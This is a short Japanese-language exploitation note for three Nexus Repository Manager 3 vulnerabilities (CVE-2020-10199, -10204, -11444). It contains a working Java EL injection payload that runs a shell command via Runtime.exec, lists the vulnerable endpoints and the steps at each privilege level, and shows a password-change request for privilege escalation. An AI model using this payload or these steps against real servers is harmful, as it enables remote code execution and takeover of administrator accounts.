Nexus Repository Manager 3 脆弱性 (影響バージョン：<= 3.21.2)

CVE-2020-10199、CVE-2020-10204、CVE-2020-11444

CVE-2020-10199 リモートコードコマンド実行

エコーバックありのPoC

エコーバックなしのPoC

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

一般ユーザー権限

/service/rest/beta/repositories/go/group

管理者権限が必要

1. CleanupPolicyの作成

/service/extdirect

2. repositoriesの作成

/service/rest/beta/repositories/apt/hosted

CVE-2020-10204 リモートコードコマンド実行

1. ユーザー更新インターフェースを利用 /service/extdirect
2. ロール作成インターフェースを利用 /service/extdirect

CVE-2020-11444 権限昇格の脆弱性

ロール更新インターフェースの呼び出し

/service/rest/beta/security/users/admin/change-password

POST:
123456

参考リンク

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus